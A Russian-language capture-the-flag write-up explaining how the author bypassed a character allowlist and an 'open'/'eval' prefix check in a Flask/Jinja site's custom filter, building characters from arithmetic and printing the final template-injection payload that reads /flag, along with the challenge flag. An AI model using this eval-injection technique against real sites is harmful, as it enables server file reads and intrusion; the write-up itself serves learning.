Welcome to the Super Secure Translation Implementation (SSTI)

автор: lyellread

Как взломать сайт на питоне, или что за зверь SSTI. Таск посвящен ошибкам программистов при работе с шаблонами вроде jinja

Штож, челлендж звучит так: Get creative and try to bypass the unhackable security measures that keep this site safe.

Или на русском: Проявите креативность и попробуйте сломать невзламываемую защиту этого сайта.

Главная страница

Владелец так уверен в своих фильтрах защиты, что выставил их напоказ. Опрометчиво. При беглом осмотре кода замечаем, что сайт разработан на фласке, а это значит, что мы имеем дело с шаблонизатором жижа Джинджа. И судя по названию таска здесь прячется SSTI. В краце SSTI - уязвимость внедрения кода шаблонизатора на сайт.

Углубляясь в код, находим кастомные фильтры и функцию, читающую файлы на сервере. Сразу же хочется попытаться найти флаг через параметр path, но это было бы слишком просто. Зато можно почитать код фильтров, лежащих в файле filters.py. И о чудо, там лежит eval(x) - функция, которая преобразует строку в команду языка программирования. Ну дальше направление понятно. Нужно что-то запихнуть в eval, что бы получился флаг. Осталось понять, что и с какой стороны.

Смотрим дальше, находим def render_secure_translate() - функция принимает некоторый параметр payload и пропускает его через фильтр из файла check.py. Сам фильтр представляет собой список разрешенных символов.

Функция фильтра

Мдааааа, не густо. Ну ничего, мы легких путей не ищем! Вспоминаем про фильтры. А конкретно про фильтр ch - преобразует число в символ. Значит, мы можем написать любые символы, обходя фильтр! Но у нас доступны только числа из белого списка, а именно: 6, 4, 1. Значит, будем работать с тем, что дали. Ну вот и нашли куда пихать. теперь пихаем

эксплойт

Пока перебирал различные варианты эксплойта у меня получился такой массив символов из разрешенных чисел

letters = {
    'a': "(64+46-14+1)",
    '3': "((6*6)+(4*4)-1)",
    's': "(64+64-(4*4-4+1))",
    'y': "((64+64-(4+4)+1))",
    'V': "(64+14+4+4)",
    'k': "(64+46-4+1)",
    'g': "(64+46-4-4+1)",
    '%': "(14*4-(4*4)-4+1)",
    'p': "(64+46+1+1)",
    'n': "(64+46)",
    'f': "(64+46-4-4)",
    'i': "(64+46-4-1)",
    'x': "(146-6*4-1-1)"
}

после небольшой гуглежки находим, как группировать теги jinja в одной строке (С помощью скобок, (как неожиданно)). Дальше из этих символов и скобок составляем команду:

(open('/flag').read())

скобки нужны для обхода условия

if x[0:4] == "open" or x[0:4] == "eval":
        return "Not That Easy ;)"
         

Таким образом у нас срез x[0:4] будет содержать в себе строку не “open”, а “(ope”.

После замены символов на их коды и добавления фильтров получаем такую нагрузку: "(o"+(4\*4*(6+1))|ch+"e"+(64+46)|ch+"('"+(46+1)|ch+(4\*6\*4+6)|ch+"l"+(46+46+6-1)|ch+(4\*6*4+6+1)|ch+"')"+46|ch+"re"+(46+46+6-1)|ch+"d())")|e

Дальше урленкодим всю эту красоту для того, чтобы наши плюсы не резались браузером, как специальные символы и отправляем. собстнаа все. Получаем флаг:

dam{p4infu1_all0wl1st_w3ll_don3}